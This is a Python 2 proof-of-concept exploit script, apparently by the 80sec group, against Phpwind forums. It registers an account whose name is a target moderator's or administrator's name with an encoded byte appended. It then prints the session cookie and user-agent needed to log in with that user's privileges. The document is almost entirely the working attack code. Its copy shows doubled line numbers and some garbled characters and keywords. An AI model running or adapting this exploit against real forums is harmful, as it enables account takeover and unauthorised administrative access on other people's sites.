1. 2. import urllib2,httplib,sys   
  2.   3. httplib.HTTPConnection.debuglevel = 1   
  3.   4. cookies = urllib2.HTTPCookieProcessor()   
  4.   5. opener = urllib2.build_opener(cookies)   
  5.   6.   
  6.   7.   
  7.   8. def banner():   
  8.   9. print ""   
  9.   10. print "########################################################"   
  10.   11. print "Phpwind所有版本管理权限泄露漏洞利用poc"   
  11.   12. print "Copyright (C) 2006"   
  12.   13. print "jianxin@80sec.com"   
  13.   14. print "80sec是一个新的致力于web安全的小团体"   
  14.   15. print "http://www.80sec.com"   
  15.   16.   
  16.   17. def usage():   
  17.   18. banner()   
  18.   19. print "Usage:\n"   
  19.   20. print "$ ./phpwind.py pwforumurl usertoattack\n"   
  20.   21. print "pwforumurl 目标论坛地址如http://www.80sec.com/"   
  21.   22. print "usertoattack 目标拥有权限的斑竹或管理员"   
  22.   23. print "***结果将会在目标论坛注册一个和目标用户一样的帐户"   
  23.   24. print "最新版本可以使用uid登陆"   
  24.   25. print "其他版本可以使用cookie+useragent登陆"   
  25.   26. print "########################################################"   
  26.   27. print ""   
  27.   28.   
  28.   29.   
  29.   30. argvs=sys.argv   
  30.   31. usage()   
  31.   32.   
  32.   33.   
  33.   34. data = "regname=%s%s1®pwd=@80sec®pwdrepeat=@80sec®email=foo@foo.com®emailtoall=1&step=2" % (argvs[2],"%c1")   
  34.   35. pwurl = "%s/register.php" % argvs[1]   
  35.   36.   
  36.   37. request = urllib2.Request(   
  37.   38. url = pwurl ,   
  38.   39. headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},   
  39.   40. datadata = data)   
  40.   41.   
  41.   42. f=opener.open(request)   
  42.   43. headers=f.headers.dict   
  43.   44. cookie=headers["set-cookie"]   
  44.   45. try:   
  45.   46. if cookie.index('winduser'):   
  46.   47. print "Exploit Success!"   
  47.   48. print "Login with uid password @80sec or Cookie:"   
  48.   49. print cookie   
  49.   50. print "User-agent: 80sec owned this"   
  50.   51. except:   
  51.   52. print "Error! http://www.80sec.com"   
  52.   53. print "Connect root#80sec.com"